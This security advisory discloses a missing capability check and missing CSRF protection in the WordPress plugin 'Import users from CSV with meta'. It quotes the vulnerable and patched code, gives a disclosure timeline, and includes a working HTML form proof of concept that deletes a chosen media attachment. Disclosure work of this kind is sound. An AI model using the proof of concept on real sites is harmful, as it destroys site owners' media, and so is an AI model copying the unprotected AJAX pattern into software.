Authenticated Media Deletion Vulnerability in Import users from CSV with meta
One frequent source of security issues being discovered these days is lack of proper restriction on who can access in functions that are made accessible through WordPress’ AJAX functionality. By default those functions are accessible to anyone who is logged in to WordPress, even though the functions are often intended to only accessible to high level users. For many websites where there is only a single Administrator account or small amount of trusted users these vulnerabilities don’t pose a risk, but for plugins that are intended to be used in environments where that isn’t the case it is more of a concern. One such plugin is Import users from CSV with meta, which allows for importing thousands of users quickly.
As of version 1.9.4.6, the plugin made the function acui_delete_attachment() available through the AJAX functionality in the file /import-users-from-csv-with-meta.php here:
558 | add_action( 'wp_ajax_acui_delete_attachment', 'acui_delete_attachment' ); |
While the function looks to be only intended for Administrators there was no check done as to who is making the request:
499 500 501 502 503 504 505 506 507 508 509 510 | function acui_delete_attachment() { $attach_id = intval( $_POST['attach_id'] ); $result = wp_delete_attachment( $attach_id, true ); if( $result === false ) echo 0; else echo 1; wp_die(); } |
There also is no protection against cross-site request forgery (CSRF) in that.
The function calls the function wp_delete_attachment() with it second parameter set to true, which cause the media file associated with the attachment to be deleted as well as the meta data associate with the attachment. Someone could iterate through all possible attachment IDs to delete all of the media files on the website.
After we notified the developer of the issue, version 1.9.5 was released, which added code that cause the function code to not be accessible if the request comes from a non-Administrator level user:
503 504 505 | function acui_delete_attachment() { if( ! current_user_can( 'manage_options' ) ) wp_die( "You are not an adminstrator" ); |
That restricts lower level users from doing deletions, but the cross-site request forgery (CSRF) issue still exists.
Proof of Concept
The following proof of concept will delete the file associated with specified attachment ID, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[attachment ID]” with the attachment ID of the media file to be deleted.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=acui_delete_attachment" method="POST"> <input type="hidden" name="attach_id" value="[attachment ID]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 8/22/2016 – Developer notified.
- 8/30/2016 – Version 1.9.5 released, which fixes the issue.